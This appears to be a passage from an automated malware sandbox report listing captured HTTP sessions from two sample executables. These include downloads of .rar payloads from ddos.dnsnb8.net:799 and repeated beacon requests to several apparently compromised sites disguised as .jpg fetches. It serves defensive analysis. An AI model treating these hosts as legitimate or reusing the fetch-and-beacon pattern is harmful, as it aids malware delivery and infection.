                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          6192.168.2.74971244.221.84.105799320C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:12.165636063 CEST288OUTGET /cj//k2.rar HTTP/1.1
                                                          Accept: */*
                                                          Accept-Encoding: gzip, deflate
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                          Host: ddos.dnsnb8.net:799
                                                          Connection: Keep-Alive


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          7192.168.2.74971337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:12.351850033 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:13.090115070 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:12 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:12 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          8192.168.2.74971454.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:13.526849031 CEST306OUTGET /images/xs.jpg?963c82=39383560 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159208|1720159208|0|1|0
                                                          Jul 5, 2024 08:00:14.210362911 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:14 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159214|1720159208|3|2|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          9192.168.2.74971544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:14.219187021 CEST297OUTGET /xs.jpg?a9ea3a=22271092 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159209|1720159209|0|1|0
                                                          Jul 5, 2024 08:00:14.724879980 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:14 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159214|1720159209|2|2|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          10192.168.2.74971644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:14.773929119 CEST300OUTGET /images/xs.jpg?b7b144=96307744 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159210|1720159210|0|1|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:15.266690016 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:15 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159215|1720159210|2|2|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          11192.168.2.74971778.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:15.277686119 CEST189OUTGET /xs.jpg?ca9c78=119504952 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:15.950936079 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:15 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          12192.168.2.74971837.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:15.997395992 CEST201OUTGET /images/xs2.jpg?d1e2b6=82530372 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:16.735994101 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:16 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:16.741288900 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:16.975927114 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:16 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:16 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          13192.168.2.74971944.221.84.105799320C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:16.197642088 CEST288OUTGET /cj//k3.rar HTTP/1.1
                                                          Accept: */*
                                                          Accept-Encoding: gzip, deflate
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                          Host: ddos.dnsnb8.net:799
                                                          Connection: Keep-Alive


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          14192.168.2.74972054.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:17.267424107 CEST307OUTGET /images/xs.jpg?11838a2=36729156 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159214|1720159208|3|2|0
                                                          Jul 5, 2024 08:00:17.995126009 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:17 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159217|1720159208|3|3|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          15192.168.2.74972144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:18.614532948 CEST298OUTGET /xs.jpg?12c0da8=39328592 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159214|1720159209|2|2|0
                                                          Jul 5, 2024 08:00:19.143115044 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:19 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159219|1720159209|3|3|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          16192.168.2.74972244.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:19.261472940 CEST302OUTGET /images/xs.jpg?14ce734=130902840 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159215|1720159210|2|2|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:19.788567066 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:19 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159219|1720159210|3|3|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          17192.168.2.74972378.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:19.844628096 CEST190OUTGET /xs.jpg?15a39ca=204212250 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:20.533313990 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:20 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          18192.168.2.74972437.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:21.708136082 CEST202OUTGET /images/xs2.jpg?174d281=24433281 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:23.645361900 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:22 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:23.647260904 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:22 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
